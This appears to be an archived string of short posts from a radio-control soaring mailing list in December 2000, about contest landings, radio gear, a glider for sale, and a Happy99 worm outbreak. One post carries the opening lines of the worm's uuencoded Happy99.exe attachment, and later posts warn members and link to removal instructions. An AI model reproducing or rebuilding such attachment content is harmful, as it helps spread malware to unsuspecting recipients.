I think the landing is the hardest part! As in full scale soaring, the
landing aproach is a precision manuver. It's very critical! There is a
big penalty paid if you mess up!!
In soaring contests there are several cases where everyone will stay up!
The lift is everywhere... The precision landing
begin 644 Happy99.exe
M35I0``($``\`__\``+@`0``:
M``$``+H0``X?M`G-(;@!3,TAD)!4:ES('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@5VEN,S(-"B0W
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Charlie,
I think you may have a virus. A second e-mail came from you with the
attachment Happy99.exe. You might want to check that out.
Dave
on 12/18/00 8:21 AM, charlie at [EMAIL PROTECTED] wrote:
I think the landing is the hardest part! As in full scale soaring, the
landing
Gentlemen,
The answer is already in the rule book, it's been there for a long
time. AMA TD is not just supposed to be a duration task with a
landing option. The tasks are Duration, Distance and Speed. No, I'm
not confusing this with FAI F3b! Look in your rule book, someone, at
some time included
VIRUS, DO NOT OPEN THE HAPPY99.EXE FILE...
From: charlie [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: [RCSE] Landings: "a complete waste of time"?
Date: Mon, 18 Dec 2000 06:21:50 -0700
I think the landing is the hardest part! As in full scale soaring, the
In a message dated 12/18/00 6:36:15 AM Central Standard Time,
[EMAIL PROTECTED] writes:
Why not have contests that developed skills akin to those
required to fly full scale aircraft?
John,
We are already having those type of contests in the US, gee I think Elmira
might come to mind.
Ok guys, Yes, I agree that the same guys usually win most of the time. However,
while looking over the scores from varies contests it becomes apparent that
even the best of flyers can be forced to fly in bad air. Sometimes, the good
flyers even make a mistake in reading air or in their tactics.
Is the module used in a JR347 transferable to a JR 8103 or does the 8103
require a different module?
Ed,
I have both a 347 and an 8103 and have transferred modules from one to the
other with no problems.
Regards,
Bob Johnson
Fond du Lac, WI
RCSE-List facilities provided by Model Airplane
Charlie,
In case you didn't know already, you are infected with a worm.
Here is the description.
http://www.symantec.com/avcenter/venc/data/happy99.worm.html
Here is the cure.
http://www.symantec.com/avcenter/venc/data/fix.happy99.worm.html
Anyone who ran the executable follow link above to
In a message dated 12/18/00 9:52:33 AM Eastern Standard Time,
[EMAIL PROTECTED] writes:
Anyone who ran the executable follow link above to clean from your system.
Hi All, I saw the Happy 99 message and did now download the attachment. Is my
system OK? If not what is my remedy? Thanks,
Thanks to everyone that answered my question about using a 347 module in an
8103.
Ed
RCSE-List facilities provided by Model Airplane News. Send "subscribe" and
"unsubscribe" requests to [EMAIL PROTECTED]
I can't help but notice how the view in the winter is "with today's super
ships, everybody gets their time" and "the lift is all over the place!" and
in the summer it's "DAMN! I launched into a sink cycle and got three minutes
and then I blew my landing!" %^)
Bill Wingstedt
RCSE-List
FREE Antivirus software. http://antivirus.cai.com/
I have been getting hit by the W95.Hybris.gen.
Also known as, W32.Hybris.gen, W32.Hybris.22528.dr, W32/Hybris.gen@M,
I-Worm.Hybris
http://www.symantec.com/avcenter/venc/data/w95.hybris.gen.html
I like Symantec's site for Virus information.
Hey Guys
I didin't mean to send that out,,, According to my server.. The virus
was sent by the original person that sent the landings, a waste of
time I got that this morning... I am useing my office computer
today no Virus here.. I forget the name of the guy who sent the
original
Good advice to never, ever open an executable sent via email.
he other day I got as report that one of my messages here generated a "virus alert",
but a v-scan was negative.
This List software should be configured not pass along ANY attachments. IMO, FWIW.
Good holidays to all!
--Bill
Sorry Charlie, the email headers point to you.
The happy99 virus is not smart enough to fake the email headers.
Are you sure you did a complete scan with updated virus signature files?
At 08:47 AM 12/18/2000 -0800, Charles Miller wrote:
Hey Guys
I didin't mean to send that out,,, According to
Cliff I have several bean recipes depending on the flatulence factor
desired-let me know what level you, and more importantly, what level of lift
Dieter will be wanting at SWC, and I will accommodate you- You cook em up, I
will meet you at Sunset to pick up the finished product and personally
How about we all get together at a contest this summer and waste some
time then.
I'm all for wasting time, if that's what this is all about.
JIM AND CHERYL THOMPSON wrote:
If landing is a waste time, launching is a waste of time and everything
in between is also a waste of time.
Jim
I just received my copy of the new video Lift Ticket. Produced by Dave
Reese.
It's a great tape! It has the best footage of DS that I've seen. Lots of it!
Along with a great sound track.
A whole bunch of different slopes are shown including many of the more
famous slopes on the west coast. Very
Now the RCSE soap opera is turning into a Cooking Show.
If it is too cold and miserable for you poor guys in the deep north to
fly then how about sending your models on a holiday over here for a few
months.
I promise to treat 'em real nice and send back every piece/part,
Its just that the
In the TV biz, one thing you use to get adhesive muck from tape off cables
is...
WD-40!
I'd be careful using this around foam, though.
RCSE-List facilities provided by Model Airplane News. Send "subscribe" and
"unsubscribe" requests to [EMAIL PROTECTED]
Saphire ready to fly.
Obechee/foam wings - natural top/dark blue bottom
Fuse with both canopies - white top/dark blue bottom
Volz servos - ailerons/ wing max, flaps/mini max. re/mini
star
Airtronics receiver, 8 ch/pcm and 700mah sanyo airborne
battery
Excellent condition and ready to fly
$625.00
Apparently you've misinterpreted the meaning of my post, or more specifically, used
the opportunity as a platform to promote your brand of soaring. Of course, there's
nothing wrong with that as we can all appreciate the beauty and skill of a well flown
scale glider. The purpose of my
Key words are: land well, amen brother.
Why not outlaw skegs then, thus all competitors would be forced to "land
well" to be competitive? Are skegs a crutch? How many TD pilots would gladly
give up the skeg in favor of learning how to land well?
I think we agree.
JD
-Original Message-
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